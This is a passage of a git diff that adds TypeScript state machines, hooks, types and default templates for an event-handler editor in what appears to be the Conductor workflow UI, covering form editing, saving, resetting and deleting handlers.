+1,97 @@ +import { + UPDATE_VARIABLES_ACTION, + START_WORKFLOW_ACTION, + TERMINATE_WORKFLOW_ACTION, + COMPLETE_TASK_ACTION, + FAIL_TASK_ACTION, + NEW_EVENT_HANDLER_TEMPLATE, +} from "../../eventHandlerSchema"; +import { Action, EventFormMachineContext } from "./types"; +import { assign } from "xstate"; +import { adjust } from "utils/array"; + +export const handleInputChange = assign((context: any, event: any) => { + const { name, value } = event; + return { + ...context, + eventAsJson: { + ...context.eventAsJson, + [name]: value !== undefined ? value : "", + }, + }; +}); + +export const persistNewAction = assign({ + eventAsJson: (context: any, event: any) => { + const { actionType } = event; + const { actions } = context.eventAsJson; + switch (actionType) { + case Action.COMPLETE_TASK: + return { + ...context.eventAsJson, + actions: [COMPLETE_TASK_ACTION, ...actions], + }; + case Action.TERMINATE_WORKFLOW: + return { + ...context.eventAsJson, + actions: [TERMINATE_WORKFLOW_ACTION, ...actions], + }; + case Action.UPDATE_WORKFLOW_VARIABLES: + return { + ...context.eventAsJson, + actions: [UPDATE_VARIABLES_ACTION, ...actions], + }; + case Action.FAIL_TASK: + return { + ...context.eventAsJson, + actions: [FAIL_TASK_ACTION, ...actions], + }; + case Action.START_WORKFLOW: + return { + ...context.eventAsJson, + actions: [START_WORKFLOW_ACTION, ...actions], + }; + default: + return context.eventAsJson; + } + }, +}); + +export const removeAction = assign({ + eventAsJson: (context: any, event: any) => { + const index = event.index; + const newActions = [...context.eventAsJson.actions]; + newActions.splice(index, 1); + return { + ...context.eventAsJson, + actions: newActions, + }; + }, +}); + +export const editAction = assign({ + eventAsJson: (context: any, event: any) => { + const { index, payload } = event; + return { + ...context.eventAsJson, + actions: adjust( + index, + () => ({ ...payload }), + context.eventAsJson.actions, + ), + }; + }, +}); + +export const resetForm = assign({ + eventAsJson: (context) => { + return context.originalSource; + }, +}); + +export const resetFormToNewDefinition = assign(() => { + return { + originalSource: NEW_EVENT_HANDLER_TEMPLATE, + eventAsJson: NEW_EVENT_HANDLER_TEMPLATE, + }; +}); diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/hook.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/hook.ts new file mode 100644 index 0000000..159d515 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/hook.ts @@ -0,0 +1,63 @@ +import { useSelector } from "@xstate/react"; +import { EventFormMachineTypes } from "./types"; + +export const useEventHandlerFormActor = (actor: any) => { + const { eventAsJson } = useSelector(actor, (state: any) => state.context); + + const { name, event, condition, actions, action, active, description } = + eventAsJson; + + const { send } = actor; + + const handleChangeAction = (index: number, payload: any) => { + send({ + type: EventFormMachineTypes.EDIT_ACTION, + index, + payload, + }); + }; + + const handleChange = (name: string, value: string | boolean) => { + send({ + type: EventFormMachineTypes.INPUT_CHANGE, + name, + value, + }); + }; + + const handleAction = (action: string) => { + send({ + type: EventFormMachineTypes.ADD_ACTION, + actionType: action, + }); + }; + + const removeAction = (index: number) => { + send({ + type: EventFormMachineTypes.DELETE_ACTION, + index, + }); + }; + + // Logic in the Event task form is similar. Consider refactoring. + const handleEventChange = (event: string) => handleChange("event", event); + + return [ + { + action, + name, + condition, + actions, + event, + active, + description, + }, + { + handleChangeAction, + handleChange, + handleAction, + removeAction, + handleEventChange, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/machine.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/machine.ts new file mode 100644 index 0000000..377da99 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/machine.ts @@ -0,0 +1,63 @@ +import { + EventFormMachineContext, + EventFormMachineStates, + EventFormMachineTypes, + FormHandlerEvents, +} from "./types"; + +import { createMachine } from "xstate"; +import * as actions from "./actions"; + +export const eventFormMachine = createMachine< + EventFormMachineContext, + FormHandlerEvents +>( + { + id: "eventFormMachine", + predictableActionArguments: true, + context: { + eventAsJson: {}, + originalSource: {}, + }, + on: { + [EventFormMachineTypes.SAVE_EVT]: { + target: EventFormMachineStates.EXIT, + }, + [EventFormMachineTypes.TOGGLE_FORM_EDITOR_EVT]: { + target: EventFormMachineStates.EXIT, + }, + [EventFormMachineTypes.RESET_CONFIRM_EVT]: { + actions: "resetForm", + }, + [EventFormMachineTypes.CONFIRM_NEW_EVENT]: { + actions: "resetFormToNewDefinition", + }, + }, + initial: EventFormMachineStates.IDLE, + states: { + [EventFormMachineStates.IDLE]: { + on: { + [EventFormMachineTypes.INPUT_CHANGE]: { + actions: ["handleInputChange"], + }, + [EventFormMachineTypes.ADD_ACTION]: { + actions: ["persistNewAction"], + }, + [EventFormMachineTypes.DELETE_ACTION]: { + actions: ["removeAction"], + }, + [EventFormMachineTypes.EDIT_ACTION]: { + actions: ["editAction"], + }, + }, + }, + [EventFormMachineStates.EXIT]: { + type: "final", + data: (context, event) => { + return { eventAsJson: context.eventAsJson, reason: event.type }; + }, + }, + }, + }, + { actions: actions as any }, +); diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/types.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/types.ts new file mode 100644 index 0000000..981938e --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/types.ts @@ -0,0 +1,110 @@ +import { ConductorEvent } from "types/Events"; +export enum EventFormMachineTypes { + CHANGE_NAME_EVT = "CHANGE_NAME_EVT", + CHANGE_EVENT_EVT = "CHANGE_EVENT_EVT", + CHANGE_CONDITION_EVT = "CHANGE_CONDITION_EVT", + CHANGE_EVALUATOR_EVT = "CHANGE_EVALUATOR_EVT", + ADD_ACTION = "ADD_ACTION", + INPUT_CHANGE = "INPUT_CHANGE", + EDIT_ACTION = "EDIT_ACTION", + DELETE_ACTION = "DELETE_ACTION", + SAVE_EVT = "SAVE_EVT", + TOGGLE_FORM_EDITOR_EVT = "TOGGLE_FORM_EDITOR_EVT", + RESET_CONFIRM_EVT = "RESET_CONFIRM_EVT", + CONFIRM_NEW_EVENT = "CONFIRM_NEW_EVENT", +} + +export type InputChangeEvent = { + type: EventFormMachineTypes.INPUT_CHANGE; +}; + +export type AddEvent = { + type: EventFormMachineTypes.ADD_ACTION; +}; + +export type EditActionEvent = { + type: EventFormMachineTypes.EDIT_ACTION; +}; + +export type DeletActionEvent = { + type: EventFormMachineTypes.DELETE_ACTION; +}; + +export type SaveEvent = { + type: EventFormMachineTypes.SAVE_EVT; +}; + +export type ToggleFormModeEvent = { + type: EventFormMachineTypes.TOGGLE_FORM_EDITOR_EVT; +}; + +export type ResetConfirmEvent = { + type: EventFormMachineTypes.RESET_CONFIRM_EVT; +}; + +export type ConfirmNewEventEvent = { + type: EventFormMachineTypes.CONFIRM_NEW_EVENT; +}; + +export type FormHandlerEvents = + | InputChangeEvent + | AddEvent + | EditActionEvent + | DeletActionEvent + | SaveEvent + | ToggleFormModeEvent + | ResetConfirmEvent + | ConfirmNewEventEvent; + +export enum EventFormMachineStates { + IDLE = "idle", + EXIT = "exit", +} + +export enum QueueTypeSource { + KAFKA = "kafka", + AMQP = "amqp", + AZURE = "azure", + SQS = "sqs", +} +export const queueTypeLabel: { [key in QueueTypeSource]: string } = { + kafka: "kafka", + amqp: "amqp", + azure: "azure", + sqs: "sqs", +}; + +export enum Evaluator { + javascript = "javascript", + "value-param" = "value-param", +} +export const evaluatorLabel: { [key in Evaluator]: string } = { + javascript: "javascript", + "value-param": "value-param", +}; + +export enum Action { + COMPLETE_TASK = "complete_task", + TERMINATE_WORKFLOW = "terminate_workflow", + UPDATE_WORKFLOW_VARIABLES = "update_workflow_variables", + FAIL_TASK = "fail_task", + START_WORKFLOW = "start_workflow", +} + +export type AddActionEvent = { + type: EventFormMachineTypes.ADD_ACTION; + actionType: Action; +}; + +export const actionLabel = { + complete_task: "Complete Task", + terminate_workflow: "Terminate Workflow", + update_workflow_variables: "Update Variables", + fail_task: "Fail Task", + start_workflow: "Start Workflow", +} as { [key: string]: string }; + +export interface EventFormMachineContext { + eventAsJson: Partial; + originalSource: Partial; +} diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/eventHandlerSchema.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/eventHandlerSchema.ts new file mode 100644 index 0000000..0abc1dc --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/eventHandlerSchema.ts @@ -0,0 +1,75 @@ +import { + CompleteActionType, + ConductorEvent, + FailActionType, + StartWorkflowAction, + TerminateWorkflowAction, + UpdateWorkFlowVariableType, +} from "types/Events"; + +// v2 +export const NEW_EVENT_HANDLER_TEMPLATE: Partial = { + name: "", + description: "", + event: "kafka:sampleConfig:sampleName", + evaluatorType: "javascript", + condition: "true", + actions: [ + { + action: "complete_task", + expandInlineJSON: false, + complete_task: { + workflowId: "${workflowId}", + taskRefName: "${taskReferenceName}", + }, + }, + ], +}; + +// TODO: Add schema definition for event handler + +export const COMPLETE_TASK_ACTION: CompleteActionType = { + action: "complete_task", + expandInlineJSON: false, + complete_task: { + workflowId: "${workflowId}", + taskRefName: "${taskReferenceName}", + }, +}; + +export const FAIL_TASK_ACTION: FailActionType = { + action: "fail_task", + expandInlineJSON: false, + fail_task: { + workflowId: "${workflowId}", + taskRefName: "${taskReferenceName}", + }, +}; + +export const UPDATE_VARIABLES_ACTION: UpdateWorkFlowVariableType = { + action: "update_workflow_variables", + expandInlineJSON: false, + update_workflow_variables: { + workflowId: "${targetWorkflowId}", + }, +}; + +export const START_WORKFLOW_ACTION: StartWorkflowAction = { + action: "start_workflow", + start_workflow: { + name: "sample_wf", + version: "", + correlationId: "", + idempotencyKey: "", + }, + expandInlineJSON: false, +}; + +export const TERMINATE_WORKFLOW_ACTION: TerminateWorkflowAction = { + action: "terminate_workflow", + expandInlineJSON: false, + terminate_workflow: { + workflowId: "", + terminationReason: "", + }, +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/actions.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/actions.ts new file mode 100644 index 0000000..d00ba23 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/actions.ts @@ -0,0 +1,153 @@ +import _omit from "lodash/omit"; +import _isEmpty from "lodash/isEmpty"; +import { assign, DoneInvokeEvent, forwardTo, send } from "xstate"; +import { cancel } from "xstate/lib/actions"; +import { NEW_EVENT_HANDLER_TEMPLATE } from "../eventHandlerSchema"; +import { + SaveEventHandlerMachineEventTypes, + SaveEventHandlerMachineContext, + EditEvent, + EditDebounceEvent, + UpdateEventHandlerEvent, + UpdateOriginalSourceEvent, + ShowErrorMessageEvent, + ClearErrorMessageEvent, +} from "./types"; +import { tryToJson, logger } from "utils"; + +export const editChanges = assign( + (_, { changes }) => { + const isValidJSON = !!tryToJson(changes); + if (!isValidJSON) { + logger.info("Json is broken"); + } + return { + editorChanges: changes, + couldNotParseJson: !isValidJSON, + }; + }, +); + +export const debounceEditEvent = send< + SaveEventHandlerMachineContext, + EditDebounceEvent +>( + (__, { changes }) => { + return { + type: SaveEventHandlerMachineEventTypes.EDIT_EVT, + changes, + }; + }, + { delay: 250, id: "debounce_edit_event" }, +); + +export const cancelDebounceEditChanges = cancel("debounce_edit_event"); + +export const updateEventHandlerName = assign( + ({ editorChanges }) => { + const eventHandlerJson = tryToJson<{ name: string }>(editorChanges); + return { + eventHandlerName: eventHandlerJson?.name, + }; + }, +); + +export const updateEventHandler = assign< + SaveEventHandlerMachineContext, + UpdateEventHandlerEvent +>((__, { data: eventHandler }) => { + const textVersion = JSON.stringify(eventHandler, null, 2); + + return { + editorChanges: textVersion, + originalSource: textVersion, + isNewEventHandler: !eventHandler?.name, + }; +}); + +export const updateOriginalSource = assign< + SaveEventHandlerMachineContext, + UpdateOriginalSourceEvent +>(({ editorChanges }, { data: eventHandler }) => { + const source = !_isEmpty(eventHandler) + ? JSON.stringify(eventHandler, null, 2) + : JSON.stringify(NEW_EVENT_HANDLER_TEMPLATE, null, 2); + + const newEditorChanges = + !_isEmpty(editorChanges) && editorChanges !== "" ? editorChanges : source; + + return { + originalSource: source, + editorChanges: newEditorChanges, + }; +}); + +export const revertToOriginalSource = assign( + ({ originalSource }) => { + return { + editorChanges: originalSource, + }; + }, +); + +export const resetToNewDefinition = assign( + () => { + const source = JSON.stringify(NEW_EVENT_HANDLER_TEMPLATE, null, 2); + return { + originalSource: source, + editorChanges: source, + }; + }, +); + +export const showErrorMessage = assign< + SaveEventHandlerMachineContext, + ShowErrorMessageEvent +>((_, errorEvent) => { + const message = + errorEvent?.data?.message || errorEvent?.data?.originalError?.message; + + return { + message, + }; +}); + +export const clearErrorMessage = assign< + SaveEventHandlerMachineContext, + ClearErrorMessageEvent +>(() => { + return { + message: "", + }; +}); + +export const forwardEventToFormMachine = forwardTo("eventFormMachine"); + +export const persistFormChanges = assign< + SaveEventHandlerMachineContext, + DoneInvokeEvent<{ + eventAsJson: { + name?: string; + event?: string; + evaluatorType?: string; + condition?: string; + actions?: []; + }; + reason: SaveEventHandlerMachineEventTypes; + }> +>((__context, { data }) => ({ + editorChanges: JSON.stringify(_omit(data.eventAsJson, "action"), null, 2), + reason: data.reason, +})); + +export const persistIsNewEventHandler = assign( + ({ eventHandlerName }) => ({ isNewEventHandler: !eventHandlerName }), +); + +export const sendSavedSuccessful = send({ + type: SaveEventHandlerMachineEventTypes.SAVED_SUCCESSFUL, +}); + +export const sendSavedCancelled = send({ + type: SaveEventHandlerMachineEventTypes.SAVED_CANCELLED, +}); diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/guards.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/guards.ts new file mode 100644 index 0000000..fd484fc --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/guards.ts @@ -0,0 +1,25 @@ +import { logger } from "utils"; +import { SaveEventHandlerMachineContext } from "./types"; + +const maybeEventHandlerName = (eventHandlerAsString: string): string | null => { + try { + const eventHandler = JSON.parse(eventHandlerAsString); + const { name = null } = eventHandler; + return name; + } catch { + logger.debug("Event handler editor changes is not parsable"); + } + return null; +}; + +export const isNewOrNameChanged = ({ + isNewEventHandler, + originalSource, + editorChanges, +}: SaveEventHandlerMachineContext) => { + return ( + isNewEventHandler || + maybeEventHandlerName(editorChanges) !== + maybeEventHandlerName(originalSource) + ); +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/hook.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/hook.ts new file mode 100644 index 0000000..ec07b96 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/hook.ts @@ -0,0 +1,243 @@ +import { useInterpret, useSelector } from "@xstate/react"; +import { MessageContext } from "components/providers/messageContext"; +import _get from "lodash/get"; +import { useContext, useMemo } from "react"; +import { useLocation, useParams, Location } from "react-router"; +import { EVENT_HANDLERS_URL } from "utils/constants/route"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useAuthHeaders } from "utils/query"; +import { NEW_EVENT_HANDLER_TEMPLATE } from "../eventHandlerSchema"; +import { saveEventHandlerMachine } from "./machine"; +import { + SaveEventHandlerMachineEventTypes, + SaveEventHandlerStates, +} from "./types"; + +const isNewEventHandlerDef = (location: Location) => + location.pathname === EVENT_HANDLERS_URL.NEW; + +export const useEventHandlerDefinition = () => { + const authHeaders = useAuthHeaders(); + + const pushHistory = usePushHistory(); + const { setMessage } = useContext(MessageContext); + + const location = useLocation(); + const params = useParams(); + const isNewEventHandlerUrl = isNewEventHandlerDef(location); + const eventHandlerName = isNewEventHandlerUrl + ? "" + : decodeURIComponent(_get(params, "name") || ""); + + const service = useInterpret(saveEventHandlerMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + eventHandlerName, + originalSource: isNewEventHandlerUrl + ? JSON.stringify(NEW_EVENT_HANDLER_TEMPLATE, null, 2) + : "", + couldNotParseJson: false, + isNewEventHandler: isNewEventHandlerUrl, + }, + actions: { + pushToHistory: ({ eventHandlerName }) => { + pushHistory( + `${EVENT_HANDLERS_URL.BASE}/${encodeURIComponent(eventHandlerName)}`, + ); + }, + goBackToEventHandlersIndex: (_context) => { + pushHistory(EVENT_HANDLERS_URL.BASE); + }, + redirectToNew: () => { + pushHistory(EVENT_HANDLERS_URL.NEW); + }, + showSaveSuccessMessage: () => { + setMessage({ + text: "Event handler saved successfully.", + severity: "success", + }); + }, + }, + }); + + const handleEditChanges = (changes: string) => { + return service.send({ + type: SaveEventHandlerMachineEventTypes.EDIT_DEBOUNCE_EVT, + changes, + }); + }; + const isFormMode = useSelector(service, (state) => + state.matches([SaveEventHandlerStates.IDLE, SaveEventHandlerStates.FORM]), + ); + + const isEditorMode = useSelector(service, (state) => { + return ( + state.matches([ + SaveEventHandlerStates.IDLE, + SaveEventHandlerStates.EDITOR, + ]) || state.matches([SaveEventHandlerStates.CONFIRM_SAVE]) + ); + }); + + const isFetching = useSelector(service, (state) => { + return state.matches([ + SaveEventHandlerStates.FETCH_EVENT_HANDLER_DEFINITION, + ]); + }); + + const couldNotParseJson = useSelector( + service, + (state) => state.context.couldNotParseJson, + ); + + const handleSaveRequest = () => + service.send({ type: SaveEventHandlerMachineEventTypes.SAVE_EVT }); + + const handleConfirmSaveRequest = () => + service.send({ type: SaveEventHandlerMachineEventTypes.CONFIRM_SAVE_EVT }); + + const handleCancelRequest = () => + service.send({ type: SaveEventHandlerMachineEventTypes.CANCEL_SAVE_EVT }); + + const handleResetRequest = () => + service.send({ type: SaveEventHandlerMachineEventTypes.RESET_EVT }); + + const handleConfirmReset = () => + service.send({ type: SaveEventHandlerMachineEventTypes.RESET_CONFIRM_EVT }); + + const handleDeleteRequest = () => + service.send({ type: SaveEventHandlerMachineEventTypes.DELETE_EVT }); + + const handleConfirmDelete = () => + service.send({ + type: SaveEventHandlerMachineEventTypes.DELETE_CONFIRM_EVT, + }); + + const handleDefineNewEventHandler = () => { + service.send({ + type: SaveEventHandlerMachineEventTypes.NEW_EVENT_HANDLER_REQUEST, + }); + }; + + const handleConfirmNewEventHandler = () => { + service.send({ + type: SaveEventHandlerMachineEventTypes.CONFIRM_NEW_EVENT, + }); + }; + + const handleBackToIdle = () => { + service.send({ + type: SaveEventHandlerMachineEventTypes.BACK_TO_IDLE, + }); + }; + + const handleClearErrorMessage = () => { + service.send({ + type: SaveEventHandlerMachineEventTypes.CLEAR_ERROR_MESSAGE, + }); + }; + + const originalSource = useSelector( + service, + (state) => state.context.originalSource, + ); + + const editorChanges = useSelector( + service, + (state) => state.context.editorChanges, + ); + + const isNewEventHandler = useSelector( + service, + (state) => state.context.isNewEventHandler, + ); + + const message = useSelector(service, (state) => state.context.message); + // const errors = useSelector(service, (state) => state.context.errors); + + const isIdle = useSelector(service, (state) => state.matches("idle")); + + const isConfirmSave = useSelector(service, (state) => + state.matches("confirmSave"), + ); + + const isSaving = useSelector( + service, + (state) => + state.matches("createEventHandler") || + state.matches("updateEventHandler"), + ); + + const isConfirmReset = useSelector(service, (state) => + ["idle.form.confirmReset", "idle.editor.confirmReset"].some(state.matches), + ); + + const isConfirmDelete = useSelector(service, (state) => + ["idle.form.confirmDelete", "idle.editor.confirmDelete"].some( + state.matches, + ), + ); + + const isConfirmNew = useSelector(service, (state) => + ["idle.form.confirmNew", "idle.editor.confirmNew"].some(state.matches), + ); + + const isUpdatingToNewChanges = useSelector(service, (state) => + state.matches("refetchEventHandlerChanges"), + ); + + const madeChanges = useMemo( + () => + editorChanges !== "" && + (editorChanges !== originalSource || isNewEventHandler), + [editorChanges, originalSource, isNewEventHandler], + ); + + const toggleFormMode = () => { + service.send({ + type: SaveEventHandlerMachineEventTypes.TOGGLE_FORM_EDITOR_EVT, + isEditorMode: !isEditorMode, + }); + }; + + return [ + { + handleDeleteRequest, + handleConfirmDelete, + handleConfirmReset, + handleResetRequest, + handleCancelRequest, + handleConfirmSaveRequest, + handleSaveRequest, + handleEditChanges, + handleDefineNewEventHandler, + handleConfirmNewEventHandler, + handleBackToIdle, + handleClearErrorMessage, + toggleFormMode, + service, + }, + { + isNewEventHandler, + eventHandlerName, + originalSource, + editorChanges, + isConfirmReset, + isConfirmDelete, + isConfirmNew, + // message, + // errors, + madeChanges, + isUpdatingToNewChanges, + isConfirmSave, + isSaving, + isIdle, + message, + isFormMode, + isEditorMode, + couldNotParseJson, + isFetching, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/index.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/machine.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/machine.ts new file mode 100644 index 0000000..237f63e --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/machine.ts @@ -0,0 +1,315 @@ +import { eventFormMachine } from "../FormComponent/state/machine"; +import { createMachine } from "xstate"; +import { + SaveEventHandlerMachineEventTypes, + SaveEventHandlerEvents, + SaveEventHandlerMachineContext, + SaveEventHandlerStates, +} from "./types"; + +import * as actions from "./actions"; +import * as guards from "./guards"; +import * as services from "./services"; +import { tryToJson } from "utils"; + +export const saveEventHandlerMachine = createMachine< + SaveEventHandlerMachineContext, + SaveEventHandlerEvents +>( + { + id: "saveEventHandlerMachine", + predictableActionArguments: true, + initial: SaveEventHandlerStates.FETCH_EVENT_HANDLER_DEFINITION, + context: { + originalSource: "", + editorChanges: "", + isNewEventHandler: false, + eventHandlerName: "", + authHeaders: {}, + message: "", + couldNotParseJson: false, + }, + // Handle SAVED_SUCCESSFUL and SAVED_CANCELLED at the top level so they can be received from any state + on: { + [SaveEventHandlerMachineEventTypes.SAVED_SUCCESSFUL]: { + actions: [], // No-op, just to receive the event so it can be detected + }, + [SaveEventHandlerMachineEventTypes.SAVED_CANCELLED]: { + actions: [], // No-op, just to receive the event so it can be detected + }, + }, + states: { + [SaveEventHandlerStates.IDLE]: { + on: { + [SaveEventHandlerMachineEventTypes.SAVE_EVT]: { + target: SaveEventHandlerStates.CONFIRM_SAVE, + }, + [SaveEventHandlerMachineEventTypes.EDIT_EVT]: { + actions: ["editChanges"], + }, + [SaveEventHandlerMachineEventTypes.CLEAR_ERROR_MESSAGE]: { + target: SaveEventHandlerStates.IDLE, + actions: ["clearErrorMessage"], + }, + }, + initial: SaveEventHandlerStates.FORM, + states: { + [SaveEventHandlerStates.EDITOR]: { + on: { + [SaveEventHandlerMachineEventTypes.TOGGLE_FORM_EDITOR_EVT]: { + target: SaveEventHandlerStates.FORM, + }, + [SaveEventHandlerMachineEventTypes.RESET_EVT]: { + target: `.${SaveEventHandlerStates.CONFIRM_RESET}`, + }, + [SaveEventHandlerMachineEventTypes.DELETE_EVT]: { + target: `.${SaveEventHandlerStates.CONFIRM_DELETE}`, + }, + [SaveEventHandlerMachineEventTypes.NEW_EVENT_HANDLER_REQUEST]: { + target: `.${SaveEventHandlerStates.CONFIRM_NEW}`, + }, + [SaveEventHandlerMachineEventTypes.EDIT_DEBOUNCE_EVT]: { + actions: ["cancelDebounceEditChanges", "debounceEditEvent"], + }, + }, + initial: SaveEventHandlerStates.IDLE, + states: { + [SaveEventHandlerStates.IDLE]: {}, + + [SaveEventHandlerStates.CONFIRM_RESET]: { + on: { + [SaveEventHandlerMachineEventTypes.RESET_CONFIRM_EVT]: { + actions: ["revertToOriginalSource"], + target: SaveEventHandlerStates.IDLE, + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + [SaveEventHandlerStates.CONFIRM_DELETE]: { + on: { + [SaveEventHandlerMachineEventTypes.DELETE_CONFIRM_EVT]: { + target: SaveEventHandlerStates.DELETE_EVENT_HANDLER, + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + [SaveEventHandlerStates.DELETE_EVENT_HANDLER]: { + invoke: { + src: "deleteEventHandler", + id: "delete-event-handler", + onDone: { + target: SaveEventHandlerStates.IDLE, + actions: ["goBackToEventHandlersIndex"], + }, + onError: { + target: SaveEventHandlerStates.IDLE, + actions: ["showErrorMessage"], + }, + }, + }, + [SaveEventHandlerStates.CONFIRM_NEW]: { + on: { + [SaveEventHandlerMachineEventTypes.CONFIRM_NEW_EVENT]: { + target: SaveEventHandlerStates.IDLE, + actions: ["resetToNewDefinition", "redirectToNew"], + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + }, + }, + [SaveEventHandlerStates.FORM]: { + on: { + [SaveEventHandlerMachineEventTypes.TOGGLE_FORM_EDITOR_EVT]: { + actions: "forwardEventToFormMachine", + }, + [SaveEventHandlerMachineEventTypes.SAVE_EVT]: { + actions: "forwardEventToFormMachine", + }, + [SaveEventHandlerMachineEventTypes.RESET_EVT]: { + target: `.${SaveEventHandlerStates.CONFIRM_RESET}`, + }, + [SaveEventHandlerMachineEventTypes.DELETE_EVT]: { + target: `.${SaveEventHandlerStates.CONFIRM_DELETE}`, + }, + [SaveEventHandlerMachineEventTypes.NEW_EVENT_HANDLER_REQUEST]: { + target: `.${SaveEventHandlerStates.CONFIRM_NEW}`, + }, + }, + invoke: { + id: "eventFormMachine", + src: eventFormMachine, + data: (context: SaveEventHandlerMachineContext) => { + const eventAsJson = tryToJson(context.editorChanges); + const originalSource = tryToJson(context.originalSource); + return { + eventAsJson, + originalSource, + }; + }, + onDone: [ + { + cond: (__context, { data }) => + data.reason === SaveEventHandlerMachineEventTypes.SAVE_EVT, + target: `#saveEventHandlerMachine.${SaveEventHandlerStates.CONFIRM_SAVE}`, + actions: "persistFormChanges", + }, + { + target: SaveEventHandlerStates.EDITOR, + actions: "persistFormChanges", + }, + ], + }, + initial: SaveEventHandlerStates.IDLE, + states: { + [SaveEventHandlerStates.IDLE]: {}, + [SaveEventHandlerStates.CONFIRM_RESET]: { + on: { + [SaveEventHandlerMachineEventTypes.RESET_CONFIRM_EVT]: { + actions: "forwardEventToFormMachine", + target: SaveEventHandlerStates.IDLE, + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + [SaveEventHandlerStates.CONFIRM_DELETE]: { + on: { + [SaveEventHandlerMachineEventTypes.DELETE_CONFIRM_EVT]: { + target: SaveEventHandlerStates.DELETE_EVENT_HANDLER, + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + [SaveEventHandlerStates.DELETE_EVENT_HANDLER]: { + invoke: { + src: "deleteEventHandler", + id: "delete-event-handler", + onDone: { + target: SaveEventHandlerStates.IDLE, + actions: ["goBackToEventHandlersIndex"], + }, + onError: { + target: SaveEventHandlerStates.IDLE, + actions: ["showErrorMessage"], + }, + }, + }, + [SaveEventHandlerStates.CONFIRM_NEW]: { + on: { + [SaveEventHandlerMachineEventTypes.CONFIRM_NEW_EVENT]: { + actions: ["forwardEventToFormMachine", "redirectToNew"], + target: SaveEventHandlerStates.IDLE, + }, + [SaveEventHandlerMachineEventTypes.BACK_TO_IDLE]: { + target: SaveEventHandlerStates.IDLE, + }, + }, + }, + }, + }, + }, + }, + [SaveEventHandlerStates.FETCH_EVENT_HANDLER_DEFINITION]: { + invoke: { + src: "fetchEventHandler", + onDone: { + actions: ["updateEventHandler", "updateOriginalSource"], + target: SaveEventHandlerStates.IDLE, + }, + onError: { + actions: ["showErrorMessage"], + }, + }, + }, + [SaveEventHandlerStates.CONFIRM_SAVE]: { + on: { + [SaveEventHandlerMachineEventTypes.CONFIRM_SAVE_EVT]: [ + { + target: SaveEventHandlerStates.CREATE_EVENT_HANDLER, + cond: "isNewOrNameChanged", + }, + { target: SaveEventHandlerStates.UPDATE_EVENT_HANDLER }, + ], + [SaveEventHandlerMachineEventTypes.CANCEL_SAVE_EVT]: { + target: SaveEventHandlerStates.IDLE, + actions: ["sendSavedCancelled"], + }, + [SaveEventHandlerMachineEventTypes.EDIT_EVT]: { + actions: ["editChanges"], + }, + [SaveEventHandlerMachineEventTypes.EDIT_DEBOUNCE_EVT]: { + actions: ["cancelDebounceEditChanges", "debounceEditEvent"], + }, + }, + }, + + [SaveEventHandlerStates.CREATE_EVENT_HANDLER]: { + invoke: { + src: "createEventHandler", + id: "create-event-handler", + onDone: { + actions: [ + "updateEventHandlerName", + "pushToHistory", + "showSaveSuccessMessage", + "persistIsNewEventHandler", + "sendSavedSuccessful", + ], + target: SaveEventHandlerStates.FETCH_EVENT_HANDLER_DEFINITION, + }, + onError: [ + { + target: SaveEventHandlerStates.IDLE, + actions: ["showErrorMessage"], + }, + ], + }, + }, + [SaveEventHandlerStates.UPDATE_EVENT_HANDLER]: { + invoke: { + src: "updateEventHandler", + id: "update-event-handler", + onDone: { + actions: [ + "updateEventHandlerName", + "showSaveSuccessMessage", + "sendSavedSuccessful", + ], + target: SaveEventHandlerStates.FETCH_EVENT_HANDLER_DEFINITION, + }, + onError: { + target: SaveEventHandlerStates.IDLE, + actions: ["showErrorMessage"], + }, + }, + }, + [SaveEventHandlerStates.SAVED_SUCCESSFULLY]: { + type: "final", + data: ({ editorChanges, isNewEventHandler, eventHandlerName }) => ({ + saved: true, + editorChanges, + isNewEventHandler, + eventHandlerName, + }), + }, + 